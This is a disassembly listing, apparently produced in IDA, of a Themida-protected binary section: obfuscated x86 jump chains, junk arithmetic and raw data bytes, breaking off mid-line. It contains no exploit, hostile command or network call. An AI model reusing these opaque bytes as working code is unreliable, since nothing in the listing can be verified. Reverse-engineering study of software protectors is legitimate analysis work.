[esp] push 76BCh jmp loc_55FF87 ; --------------------------------------------------------------------------- db 56h, 0BEh, 4 dd 1000000h, 5E042474h, 0FF7841E9h, 2414F7FFh, 51420558h dd 51E977F6h, 88FFFF43h, 24048BE6h, 4C481h, 0C6E90000h dd 0BFFFFF68h, 30284AA7h, 0FFD180E9h db 0FFh byte_561CA1 db 66h, 50h, 66h ; DATA XREF: Themida_:0054FC48o dd 22474FFh, 8F665866h, 0FBE92404h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561CB3: ; CODE XREF: Themida_:0055627Aj push edx jmp loc_55B7B6 ; --------------------------------------------------------------------------- db 5Ah, 89h, 0D7h dd 8BFB015Ah, 0B9E9243Ch, 89FFFFAEh, 4C281E2h, 53000000h dd 4BBh, 0E9DA0100h, 0FFFFCCB7h, 8324048Fh, 8B042404h dd 89532434h, 4C381E3h, 57000000h, 4BFh, 5FFB0100h, 5C241C87h dd 4C681h, 0E9570000h, 0FFFEF097h ; --------------------------------------------------------------------------- loc_561D08: ; CODE XREF: Themida_:00553DCFj push 1 push dword ptr [esp] pop edi push 4885h mov [esp], edi jmp loc_5535B9 ; --------------------------------------------------------------------------- dw 815Bh dd 4C3h, 4C38100h, 68000000h, 6FCDh, 0FF241C89h, 5B042474h dd 8B24048Fh, 3FE92424h, 66FFFF15h, 28B1B551h, 2C5966E8h dd 4D80092h, 5BB10492h, 4EC8151h, 89000000h, 52662404h dd 0FFDB7BE9h, 53DAF7FFh, 0F85BE952h, 5258FFFEh, 0BE6A64BAh dd 83574242h, 48904ECh, 0C096824h, 5158102Bh, 0FF9D5DE9h db 0FFh ; --------------------------------------------------------------------------- loc_561D89: ; CODE XREF: Themida_:00555036j push edx mov edx, 5FD27BCBh sub ebp, 4B6777CFh sub ebp, edx jmp loc_55300C ; --------------------------------------------------------------------------- dd 0EC81575Ah, 4, 0E9242C89h, 0FFFF4D87h, 0E9240487h, 28A7h dd 4EF81h, 0E9570000h, 0FFFFAAC3h ; --------------------------------------------------------------------------- loc_561DC0: ; CODE XREF: Themida_:0055EFC3j mov edx, 0F7C504CAh add ebx, edx pop edx sub ebx, 53B16809h sub ebx, esi add ebx, 53B16809h xor esi, ebx jmp loc_559D0E ; --------------------------------------------------------------------------- loc_561DDD: ; CODE XREF: Themida_:0055A794j add esp, 4 push edx neg dword ptr [esp] jmp loc_558E01 ; --------------------------------------------------------------------------- loc_561DEC: ; CODE XREF: Themida_:005512A0j neg ecx xor ecx, 0BE6EDC82h add esi, ecx mov ecx, [esp] add esp, 4 push ebp push esi jmp loc_551E59 ; --------------------------------------------------------------------------- db 1 dd 5908244Ch, 0FF74EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_561E0D: ; CODE XREF: Themida_:0055C215j sub eax, edi jmp loc_55EBCC ; --------------------------------------------------------------------------- dd 0E9241C33h, 2CDAh ; --------------------------------------------------------------------------- loc_561E1C: ; CODE XREF: Themida_:005521C2j mov esi, 4D6969A0h jmp loc_5590BB ; --------------------------------------------------------------------------- dw 0EB81h dd 3F5616AEh, 0E9DE295Ah, 0FFFF237Dh, 55E08950h, 4BDh dd 2191E900h, 0CA010000h, 8B32FF59h, 0C483240Ch, 240E904h dd 1431FFFFh, 0AE4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561E5A: ; CODE XREF: Themida_:0055F0BAj not ebx xchg ebx, ebp xchg ebp, [esp] jmp loc_557480 ; --------------------------------------------------------------------------- loc_561E66: ; CODE XREF: Themida_:00562B2Dj push dword ptr [esp] pop ecx jmp loc_5595C4 ; --------------------------------------------------------------------------- db 0B8h dd 466C583Eh, 0FF5B39E9h db 0FFh ; --------------------------------------------------------------------------- loc_561E79: ; CODE XREF: Themida_:00552018j mov edi, [esp] add esp, 4 xor edi, 36E5682Bh jmp loc_557385 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFF36EAh ; --------------------------------------------------------------------------- loc_561E90: ; CODE XREF: Themida_:00559DE2j shr ebp, 3 push edi jmp loc_56349C ; --------------------------------------------------------------------------- loc_561E99: ; CODE XREF: Themida_:00554071j and eax, esi jmp loc_55A8F5 ; --------------------------------------------------------------------------- dd 3FE2F581h, 0EB214010h, 6CEB815Dh, 0C1486E28h, 0C38102E3h dd 217706B4h, 55BD801h, 4, 31240433h, 8CE92404h, 0C1FFFFBFh dd 0B85004E2h, 0EE3E89E0h, 0E958C231h, 0FFFF74A7h, 66F88966h dd 0E316E95Fh, 2C33FFFEh, 0C7815C24h, 4, 4EC81h, 0A5E90000h dd 1FFFF61h, 0EA8158C2h, 162E4448h, 0C281CA01h, 162E4448h dd 63C9EA81h, 81593D7Ch, 4ECh, 240C8900h, 4B9h, 0BEC28100h dd 13D5D18h, 0BEEA81CAh, 593D5D18h, 2474FF52h, 24148B04h dd 0FF5CA8E9h db 0FFh byte_561F3D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FEACo dd 4EC8124h, 89000000h, 8B54242Ch, 10E9242Ch, 0B3FFFF20h dd 0E9F30067h, 0FFFEE390h, 0E924248Bh, 0FFFF723Bh, 617C68h dd 24148900h, 9C1F8ABAh, 67FBE95Ch, 0C981FFFFh, 36294C3Eh dd 2E77E9h db 0 ; --------------------------------------------------------------------------- loc_561F81: ; CODE XREF: Themida_:0055398Bj mov edi, 0 sub edi, edx xchg edi, edx jmp loc_550D1F ; --------------------------------------------------------------------------- db 31h dd 24148BD7h, 4C481h, 0EFC10000h, 2805E903h, 8CB9FFFFh dd 89057C40h, 448159CAh, 7B820824h, 54297A49h, 6C810824h dd 7B820824h, 815A7A49h, 0F3042444h, 15B3E70h, 8104245Ch dd 0F304246Ch, 525B3E70h, 1731B951h, 51E97C00h, 5EFFFEF2h dd 0FF4278E9h db 0FFh ; --------------------------------------------------------------------------- loc_561FE5: ; CODE XREF: Themida_:0055668Bj mov [esp], ebp push edi jmp loc_555943 ; --------------------------------------------------------------------------- loc_561FEE: ; CODE XREF: Themida_:00558A18j push dword ptr [esp+4] pop ecx jmp loc_559A14 ; --------------------------------------------------------------------------- dd 0ED81D5F7h, 45143552h, 87C2F581h, 0EA891297h, 554DE95Dh dd 98BAFFFFh, 0E9748448h, 0FFFFAF81h, 31241C33h, 1C33241Ch dd 24248B24h, 0FF58AAE9h, 0C8966FFh, 0DEE5E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562032: ; CODE XREF: Themida_:0055F31Aj push dword ptr [esp] pop ebp add esp, 4 push edx jmp loc_5588FC ; --------------------------------------------------------------------------- dw 3487h dd 0ED3AE924h, 0C281FFFFh, 3ACE2813h, 57243C8Bh, 0BB53E789h dd 4, 0FFCFBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_562061: ; CODE XREF: Themida_:00556E48j add dword ptr [esp], 5B643CD6h mov eax, [esp] push ebx jmp loc_56238D ; --------------------------------------------------------------------------- db 0B8h, 97h, 0C3h dd 0B1E9B1B9h, 80FFFF38h, 0C780BDF1h, 80CF283Dh, 593DEFh dd 241C8BF8h, 2804C483h, 0FF682CF0h, 835A2434h, 686604C4h dd 896618E0h, 2368241Ch, 0E9000030h, 0FFFF7279h ; --------------------------------------------------------------------------- loc_5620AC: ; CODE XREF: Themida_:00558497j and edx, 4E990F60h xor edx, 8DD5ABEh xor edx, 254A7DBFh jmp loc_55AD67 ; --------------------------------------------------------------------------- db 8Bh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_557D77 ; --------------------------------------------------------------------------- loc_5620DA: ; CODE XREF: Themida_:0054FF8Fj pop ecx jmp loc_5621FD ; --------------------------------------------------------------------------- dd 84E9E289h, 0E9FFFF73h, 0FFFEDE2Bh, 0D5BD801h, 16A11B28h dd 540F0B05h, 8BC101F8h, 0BDE92404h, 59FFFFB2h, 4C181h dd 1B680000h, 8900004Ah, 2BA2414h, 81000000h, 460574C1h dd 81D10128h, 460574E9h, 66DBE928h, 0EC83FFFFh, 241C8904h dd 1ABAE9h db 0 ; --------------------------------------------------------------------------- loc_562135: ; CODE XREF: Themida_:0055FEFEj mov ebp, esp add ebp, 4 jmp loc_5611E5 ; --------------------------------------------------------------------------- dw 0CC88h dd 241C8B59h, 2804C483h, 0EE7BE9E7h, 5A89FFFEh, 54CFE938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56215A: ; CODE XREF: Themida_:00562DD3j sub ebp, eax sub ebp, 60737CC4h jmp loc_5521C7 ; --------------------------------------------------------------------------- aFqA db '[fQµí',0 db 0EAh, 66h, 59h dd 28A7C280h, 0A7EA80EAh, 81EDEA80h, 4ECh, 1452E900h, 158FFFFh dd 0E904247Ch, 0FFFF7829h, 2C1A6FBAh, 38C38147h, 1503A7Bh dd 1441E9D3h, 0CB800000h, 0E3B551E4h, 0FDB45066h, 5866E530h dd 0C8BEB00h, 4C48124h, 80000000h, 0C58069EBh, 0E9DD280Ch dd 2F86h, 9E95854h, 5E00000Ch, 4C481h, 0C1680000h, 0E9000022h dd 0FFFF4CDDh ; --------------------------------------------------------------------------- loc_5621E0: ; CODE XREF: Themida_:00562808j mov ecx, 72184149h xor edi, ecx jmp loc_561BA9 ; --------------------------------------------------------------------------- dd 8105EAC1h, 0AF1482F2h, 5AD02964h, 0FF1759E9h db 0FFh ; --------------------------------------------------------------------------- loc_5621FD: ; CODE XREF: Themida_:005620DBj pop ebx not ebx push ecx sub esp, 4 mov [esp], ebx pop ecx pop ebx sub ecx, 0C34279AEh push ebx mov ebx, ecx sub esp, 4 jmp loc_553837 ; --------------------------------------------------------------------------- dd 3C8BF829h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h dd 0FFD85CE9h db 0FFh ; --------------------------------------------------------------------------- loc_562239: ; CODE XREF: Themida_:00553423j sub esi, eax pop eax jmp loc_55F8F8 ; --------------------------------------------------------------------------- db 81h, 0EEh, 54h dd 0F7282259h, 4EC83DEh, 0BB241C89h, 3CD00292h, 34FFDE01h dd 0C4835B24h, 0C6814E04h, 2A567D71h, 0BA64C681h, 0EC83DF0Ah dd 241C8904h, 0B64A45BBh, 67B9512Dh, 2107066Ah, 0CB8159CBh dd 0EE144B4h, 5504EBC1h, 0FF7735E9h, 572CBBFFh, 0EBC13B69h dd 0F75AE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56229A: ; CODE XREF: Themida_:00563FABj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx jmp loc_554606 ; --------------------------------------------------------------------------- loc_5622B1: ; CODE XREF: Themida_:0055BE18j add eax, 67911D78h jmp loc_562AE1 ; --------------------------------------------------------------------------- db 31h dd 34332434h, 3B665C24h, 4AE99CC8h, 0FFFFFFD5h, 83592434h dd 7A3504C4h, 0E96B1C7Fh, 0FFFF8222h, 4C48358h, 6B0968h dd 243C8900h, 5250E789h, 1E3DE956h, 0F3290000h, 0FF9E95E9h db 0FFh ; --------------------------------------------------------------------------- loc_5622F9: ; CODE XREF: Themida_:00563C50j mov [esp], esi mov esi, esp push edi mov edi, 4 add esi, 1FA63552h add esi, 725E4CA5h jmp loc_56453E ; --------------------------------------------------------------------------- db 81h, 0C2h, 61h dd 81490F45h, 1B4AE5C2h, 5AD10137h, 4EC81h, 1AE90000h dd 29FFFF3Dh, 240C8BC8h, 2D04C483h, 3D077E0Bh, 0FF5089E9h dd 243C31FFh, 0FF60A2E9h, 5E5C1FFh, 0DB34F581h, 0E829CCF7h dd 0E953565Dh, 0FFFF3D6Ch dword_56235C dd 24048B66h, 4EC81h, 0C890000h ; DATA XREF: Themida_:0054FD70o db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_558C43 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 0FFE94FE9h, 24048FFFh, 0FF7295E9h db 0FFh ; --------------------------------------------------------------------------- loc_56238D: ; CODE XREF: Themida_:0056206Cj mov ebx, esp jmp loc_557D26 ; --------------------------------------------------------------------------- loc_562394: ; CODE XREF: Themida_:005544F9j mov esi, [esp] add esp, 4 pop ecx movzx ax, byte ptr [eax] push 67B8h mov [esp], ebx jmp loc_560DF5 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C3300h, 33243C31h, 15C243Ch, 20ABE9C2h, 0C481FFFFh dd 4, 5C24048Fh, 52E18951h, 34076856h, 815E4713h, 3E5E3DF6h dd 0EEC14E57h, 0A7F68104h, 890102D6h, 0D1015EF2h, 8324148Bh dd 0ACE904C4h, 0E9000024h, 0FFFEDB17h, 4459E959h, 0DE31FFFFh dd 81241C8Bh, 4C4h, 0E9F02900h, 0FFFF6C13h, 0EB6D16BEh dd 0AEE68156h, 0F71EE93Ch, 68D6F7D6h, 4E68h, 0BF243C89h dd 0F0C7CBAh, 0F75FFE09h, 0ACEE81D6h, 1D1B316h, 0F1815EF1h dd 2BE4EB9Bh, 0C8BCF01h, 40DDE924h, 0C381FFFFh, 2D7306C3h dd 5D2434FFh, 0FF04C483h, 0DAB1E930h, 8966FFFEh, 42E92404h dd 8BFFFFA5h, 0C481243Ch, 4, 4BA52h, 0D7010000h, 0FFB099E9h dd 0C1D2F7FFh, 1FE902E2h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56248F: ; CODE XREF: Themida_:00557B96j pop ebx jmp loc_54FF17 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4EC8358h, 89243C89h, 4C781E7h, 0E9000000h, 0FFFF8185h dd 15AD729h, 0FC42E9D7h, 0AF05FFFEh, 5231E80Ah, 3C77E955h dd 0E929FFFFh, 0E9E9015Dh, 2835h ; --------------------------------------------------------------------------- loc_5624CC: ; CODE XREF: Themida_:00553550j sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push 4A2Ah mov [esp], edx push 1BE038E2h pop edx dec edx inc edx add edx, 0E41FC722h mov ecx, edx mov edx, [esp] jmp loc_5569E3 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0C5830000h, 7220E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562506: ; CODE XREF: Themida_:00555A4Fj neg esi jmp loc_553428 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 79F2BA52h, 0EAC12270h, 0EBE28104h, 83017A7Fh, 1E9FFC2h dd 2DFFFFD3h, 6B7FB08h, 31AEEE81h, 89E96A32h, 89FFFEDCh dd 4AE9241Ch, 5FFFFF09h, 0FF37FDE9h, 241429FFh, 0FF4950E9h dd 242C8BFFh, 2904C483h, 16EB81F3h, 5E2EFF6Ah, 0B4E9008Fh dd 5FFFED9h, 878845FAh, 3DE9C629h, 83FFFFC6h, 348704C6h dd 0FF525C24h, 5A042474h, 8B24048Fh, 34FF2424h, 2434FF24h dd 0B08E9h db 0 ; --------------------------------------------------------------------------- loc_56258D: ; CODE XREF: Themida_:00554FC7j sub ch, 1 sub ch, 39h xor ch, dl pop edx sub bl, ch pop ecx sub bl, 0C2h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0E961h dd 0FFFF76EDh ; --------------------------------------------------------------------------- loc_5625A8: ; CODE XREF: Themida_:00563CBEj add esp, 4 push ebx jmp loc_5602F0 ; --------------------------------------------------------------------------- align 2 dw 59EAh dd 148BD000h, 4C48324h, 5153525Bh, 8852E4B5h, 5AD388EAh dd 3AE95159h db 1Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625CF: ; CODE XREF: Themida_:0055504Ej sub ebx, 0FFFFFFFFh push ebp mov ebp, 2DA01E98h xor ebx, ebp push dword ptr [esp] pop ebp add esp, 4 mov eax, ebx mov ebx, [esp] push edx push 22A4h mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_55053B ; --------------------------------------------------------------------------- db 0BEh, 0A7h, 0 dd 0F2297DA3h, 8B2434FFh, 0C4812434h, 4, 81E28952h, 4C2h dd 4BE5600h, 81000000h, 0B40547C2h, 390E934h, 1489FFFFh dd 4BA24h, 0D1010000h, 240C875Ah, 0E924248Bh, 0FFFEE128h dd 5F2414F7h, 46D6E781h, 0C7811F7Dh, 57C14C7Eh, 0E907E7C1h dd 0FFFFD016h, 0EA81EA29h, 7F5C79FDh, 8BD6015Dh, 0C4812414h dd 4, 0FF7C51E9h db 0FFh ; --------------------------------------------------------------------------- loc_56266D: ; CODE XREF: Themida_:00555FB7j sub ebx, edx pop edx add ebx, eax jmp loc_556942 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0FF8622E9h db 0FFh ; --------------------------------------------------------------------------- loc_562685: ; CODE XREF: Themida_:00563696j pop esp xchg eax, edx push 59ACh mov [esp], ebp push esi push 6473349Bh push dword ptr [esp] pop esi jmp loc_56157A ; --------------------------------------------------------------------------- dw 0EE01h dd 1490E9h db 0 byte_5626A5 db 81h, 0ECh, 4 ; DATA XREF: Themida_:0054FEA4o dd 89000000h, 0A968242Ch, 89000013h, 70E9243Ch, 0C1000020h dd 0E95703E8h, 0FFFF35D4h dword_5626C4 dd 5624048Bh, 0E904EC83h, 0FFFF6637h, 4240481h, 59000000h ; DATA XREF: Themida_:0054FD9Co dd 0FF42BDE9h, 49E94DFFh db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626E3: ; CODE XREF: Themida_:005604DDj pop edx jmp loc_556C5A ; --------------------------------------------------------------------------- db 5Fh, 81h, 0E3h dd 2F4C2CD9h, 0FFF38EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5626F5: ; CODE XREF: Themida_:00556225j mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] jmp loc_557586 ; --------------------------------------------------------------------------- db 5Eh, 0F7h, 0D3h dd 0EF1EB81h, 0EB8111DDh, 7F55C87Dh, 0FFC4DEE9h, 4C181FFh dd 0E9000000h, 0FFFF8DE3h, 164068h, 24048900h, 0ABE9E089h dd 0C1FFFFEEh, 0EF8102E7h, 4F953FDFh, 0FF77BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_562741: ; CODE XREF: Themida_:0055C3A6j pop eax jmp loc_553D01 ; --------------------------------------------------------------------------- loc_562747: ; CODE XREF: Themida_:00556C70j pop ebx add edx, 4 xchg edx, [esp] pop esp or edx, eax shl edx, 1 push 1262h mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, 31945F2Fh inc ecx or ecx, 0B556B59h inc ecx push ebx mov ebx, 5D3F35CDh or ecx, ebx pop ebx inc ecx sub esp, 4 mov [esp], ebp mov ebp, 0DD00D58h sub esp, 4 mov [esp], ebx mov ebx, 3D6E180Eh sub ebx, 22EC24D8h xor ebx, 351C06F4h inc ebx inc ebx xor ebx, 717A3997h add ebx, 0F01A7C61h or ebp, ebx mov ebx, [esp] jmp loc_55502F ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0E789243Ch, 609B68h, 241C8900h, 0FEDD53E9h dd 73EE81FFh, 119860Fh, 0EC8152EEh, 4, 0E9242C89h, 0FFFF4F81h dword_5627E4 dd 240C8B66h, 0FFA794E9h ; DATA XREF: Themida_:0054FDD8o db 0FFh ; --------------------------------------------------------------------------- loc_5627ED: ; CODE XREF: Themida_:0055C82Fj push edi mov edi, 53A172F5h or edi, 61DC5DCCh or edi, 1F75764Ah sub esp, 4 mov [esp], ecx jmp loc_5621E0 ; --------------------------------------------------------------------------- loc_56280D: ; CODE XREF: Themida_:00563644j add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55DA64 ; --------------------------------------------------------------------------- loc_562824: ; CODE XREF: Themida_:0055B287j shl esi, 4 neg esi push edx mov edx, 472D26DDh add edx, 24565106h or edx, 6A150D51h xor edx, 65AD08AAh xor esi, edx pop edx xor ebx, esi pop esi add ebx, 8EB68DF9h add edi, ebx pop ebx add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ecx sub esp, 4 mov [esp], esi mov ecx, [esp] push edi mov edi, esp add edi, 4 jmp loc_55B7CB ; --------------------------------------------------------------------------- loc_562878: ; CODE XREF: Themida_:00560556j push ebp mov ebp, 4 add edi, 502B4452h push esi mov esi, 33C244A9h push eax mov eax, esp jmp loc_557AEC ; --------------------------------------------------------------------------- dw 48Fh dd 24048324h, 24148B04h, 1A8E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5628A2: ; CODE XREF: Themida_:00554D0Aj mov esi, esp jmp loc_55C679 ; --------------------------------------------------------------------------- db 80h, 0CCh, 89h dd 889AC480h, 0F68058E6h, 28E62CF1h, 5AE604F0h, 8083E980h dd 0C12816E9h, 8016C180h, 48B83C1h, 4C48124h, 66000000h dd 0CBB15150h, 0B5E9C888h, 5CFFFF2Bh, 9C2404D3h, 0FF1ED2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5628E9: ; CODE XREF: Themida_:0056451Fj pop edi jmp loc_5642A5 ; --------------------------------------------------------------------------- db 56h dd 0FED9A7E9h, 0CA315EFFh, 4EC8359h, 8B241489h, 0C4812434h dd 4, 0FFF2895Ah, 565E2434h, 0C681E689h, 4, 4C681h, 34870000h dd 69E95C24h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562927: ; CODE XREF: Themida_:005527D8j sub esp, 4 mov [esp], ecx push 56DE00C1h push dword ptr [esp] pop ecx jmp loc_564E68 ; --------------------------------------------------------------------------- dw 1433h dd 24248B24h, 8098B252h, 92E9CDC3h, 29FFFF62h, 12C0E9EAh dd 0DD88FFFFh, 53241C8Bh, 8168E389h, 89000038h, 18BF243Ch dd 5548A216h, 0FFB1B8E9h, 4EC81FFh, 0E9000000h, 0FFFF906Eh dd 8BB95152h, 0BA14317Fh, 6E7C9A2Ch, 2959CA29h, 0C3815AD3h dd 7EC4532h, 6039C381h, 0A6686D3Eh, 89000003h, 0E9E92414h dd 68FFFFF7h, 4B68h, 0FFD0C0E9h, 188805FFh, 0E8E94B94h dd 89FFFF63h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h dd 0C068575Ch, 5F23CD56h, 8B5BB53h, 0C3812D6Eh, 7F6E2CA7h dd 0FFE5F8E9h, 4AEF81FFh, 81103015h, 0BA107FC7h, 81D7016Ch dd 0BA107FEFh, 4AC7816Ch, 0FF103015h, 565A2434h, 0C681E689h dd 4, 0E904C683h, 0FFFFB203h, 0F75DE889h, 7E8C1D0h, 40C2BB53h dd 0C5E97047h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A27: ; CODE XREF: Themida_:0055B308j or ebp, 13BA694Eh neg ebp inc ebp jmp loc_5521A4 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0FBh dd 2931A26Ah, 0FBE981C1h, 5831A26Ah, 7644E949h, 0E789FFFFh dd 2121BA52h, 0EAC17ECBh, 3EAC107h, 78B0BE56h, 18E94530h dd 81FFFF00h, 4C2h, 68E95100h, 29FFFF56h, 247DE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A76: ; CODE XREF: Themida_:00552995j pop ebx push edx mov edx, 4 add ecx, 7AF64467h jmp loc_564F00 ; --------------------------------------------------------------------------- dd 0FFFFBD55h, 0E829FFFFh, 83242C8Bh, 0B95104C4h, 22B8B367h dd 5759C831h, 0DB2F46BFh, 0D8FE91Dh, 0C0050000h, 2D0EF26Fh dd 2946565Fh, 5F05D801h, 2D294656h, 0EF26FC0h, 1C70EF05h dd 4A48E908h, 2268FFFFh, 89000014h, 0DC882404h, 48BE588h dd 0E7895724h, 0FFAC6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_562AE1: ; CODE XREF: Themida_:005622B6j xor eax, 0D8E95ABh add esi, eax pop eax jmp loc_55E051 ; --------------------------------------------------------------------------- loc_562AEE: ; CODE XREF: Themida_:0055C03Bj mov esp, [esp] pop edx and eax, ebp mov ebp, [esp] add esp, 4 jmp loc_553C97 ; --------------------------------------------------------------------------- dw 0DEF7h dd 0DDF6814Eh, 81338F6Eh, 0D6D0E1C6h, 5EF53136h, 0DB3CE955h dd 8B54FFFFh, 0C483243Ch, 0E9575004h, 0FFFF47FBh ; --------------------------------------------------------------------------- loc_562B28: ; CODE XREF: Themida_:005556D2j add ecx, edi push dword ptr [ecx] pop eax jmp loc_561E66 ; --------------------------------------------------------------------------- loc_562B32: ; CODE XREF: Themida_:0056172Bj mov esi, esp add esi, 4 push edx mov edx, 38A62486h jmp loc_5569D8 ; --------------------------------------------------------------------------- loc_562B45: ; CODE XREF: Themida_:0055F71Fj sub bl, ch add bl, 0E9h mov cx, [esp] add esp, 2 jmp loc_552004 ; --------------------------------------------------------------------------- dw 0C8Bh dd 0B4E6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B5E: ; CODE XREF: Themida_:0055458Ej sub edx, 27A326EDh push esi jmp loc_56138C ; --------------------------------------------------------------------------- dw 5E5Eh dd 4C681h, 50570000h, 0D22F668h, 25C9E962h, 48BFFFFh, 4C48324h dd 1931E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562B8A: ; CODE XREF: Themida_:00557711j pop dword ptr [esp] jmp loc_5642D8 ; --------------------------------------------------------------------------- dw 0D7F6h dd 0C780CFFEh, 5BFA303Eh, 0FF857FE9h, 81D929FFh, 1D1F55E9h dd 0C335B0Bh, 844DE924h, 1A68FFFFh, 0E9000078h, 0FFFF4D5Dh dd 0A3DC781h, 0CF0123D1h, 3EFE9h, 0D7F75A00h, 4706EFC1h dd 389BC781h, 0CF8119BBh, 20B34426h, 54AFC781h, 0E9812FBAh dd 7E9931E1h, 0C181F901h, 7E9931E1h, 2434FF5Fh, 0E9242C8Bh dd 0FFFF7B9Dh, 60BF575Ah, 8103C96Ch, 22A00F7h, 53E7D164h dd 0D1214DBBh, 0D1434B26h, 3EBC1E3h, 62FACB81h, 0F3813BEEh dd 2BB10859h, 0C15BDF31h, 0C78107E7h, 543A4067h, 4F3DE952h dd 0C581FFFFh, 41E05D76h, 61D4F581h, 0EF896867h, 0C7814F5Dh dd 40C50D68h, 542CC281h, 0EA816A5Fh, 0E0365F3h, 0C281FA29h dd 0E0365F3h, 0FF7E47E9h db 0FFh ; --------------------------------------------------------------------------- loc_562C65: ; CODE XREF: Themida_:00563E09j add dword ptr [esp], 4 pop dword ptr [esp] push ecx mov ecx, 4 add [esp+4], ecx jmp loc_55AF8A ; --------------------------------------------------------------------------- dw 8C05h dd 2D5A896Ch, 1, 51ECBE56h, 27E9661Ah, 58FFFFADh, 5BD88859h dd 0A1E9535Ah, 89FFFF50h, 0CA815BDAh, 5F2645D4h, 4418F281h dd 685226C8h, 31F23149h, 0FEE19BE9h, 4E883FFh, 5C240487h dd 51241489h, 1331BF68h, 75E95923h, 89FFFF73h, 4C581E5h dd 83000000h, 2C8704C5h, 740D5C24h, 0E95F1421h, 0FFFEF6F9h dd 423468h, 24148900h, 0EFE9B8B6h, 5FFFFF8Ah, 2260BE56h dd 0E6C11EF6h, 0F7DEF704h, 0C7A9E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D0A: ; CODE XREF: Themida_:00563D4Aj pop edi pop ecx dec ecx xor edi, ecx xor ecx, edi xor edi, ecx shl edi, 3 jmp loc_55A803 ; --------------------------------------------------------------------------- db 8Bh dd 8AE9241Ch, 0FFFFFF5Fh, 0A8E92434h, 80FFFF94h, 0C808FEE9h dd 80B15159h, 5FE9D9F6h, 68FFFF2Dh, 64A7h, 0FF4C20E9h dd 4C483FFh, 3A10C181h, 3C8B2924h, 4C48124h, 89000000h dd 348B59C8h, 4C48324h, 0FF8510E9h db 0FFh ; --------------------------------------------------------------------------- loc_562D65: ; CODE XREF: Themida_:0055B110j mov edx, 697B0E23h push 0 add dword ptr [esp], 12C11F22h sub [esp], edx jmp loc_56406E ; --------------------------------------------------------------------------- dw 815Bh dd 4C4h, 676FE900h, 1C8BFFFFh, 86685124h, 89000064h, 0BD552424h dd 4, 4246C81h, 726E1CDFh, 4246C01h, 0FF2634E9h, 7E9EBFFFh dd 0F78155AAh, 7B4A0395h, 15FFD01h, 2558E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562DC2: ; CODE XREF: Themida_:0055E259j not esi add esi, 286B23F8h mov eax, esi pop esi add ebp, 60737CC4h jmp loc_56215A ; --------------------------------------------------------------------------- dd 8451E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562DDE: ; CODE XREF: Themida_:00558CCFj push dword ptr [esp] pop eax push ebx jmp loc_55EF63 ; --------------------------------------------------------------------------- loc_562DE8: ; CODE XREF: Themida_:00563924j xor [esp], esi xor esi, [esp] mov esp, [esp] mov ax, [esp] push 1B52h mov [esp], edi push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_561778 ; --------------------------------------------------------------------------- dw 0D131h dd 0E981415Ah, 386B964Ah, 1AA7ED81h, 0CD017C8Fh, 0FFCCA1E9h dd 10AB68FFh, 1C890000h, 0E939B724h, 0FFFF8FBDh ; --------------------------------------------------------------------------- loc_562E34: ; CODE XREF: Themida_:00563C2Dj push 46A0h mov [esp], esi push edx mov edx, 27871748h inc edx inc edx shl edx, 5 shl edx, 2 sub edx, 8BCE370Ah jmp loc_5587B5 ; --------------------------------------------------------------------------- loc_562E55: ; CODE XREF: Themida_:00559980j pop esp mov [esp], edx mov edx, 4AED678Ch push ecx mov ecx, 3A9D2B0Dh shr ecx, 1 shr ecx, 3 xor ecx, 3A9D2B0h add ecx, 0E6E137Bh sub ecx, edx jmp loc_552103 ; --------------------------------------------------------------------------- loc_562E7C: ; CODE XREF: Themida_:005529F6j add edi, esi add edi, 3BE528C6h jmp loc_552E90 ; --------------------------------------------------------------------------- loc_562E89: ; CODE XREF: Themida_:005563CCj pop esi push eax jmp loc_55B837 ; --------------------------------------------------------------------------- dd 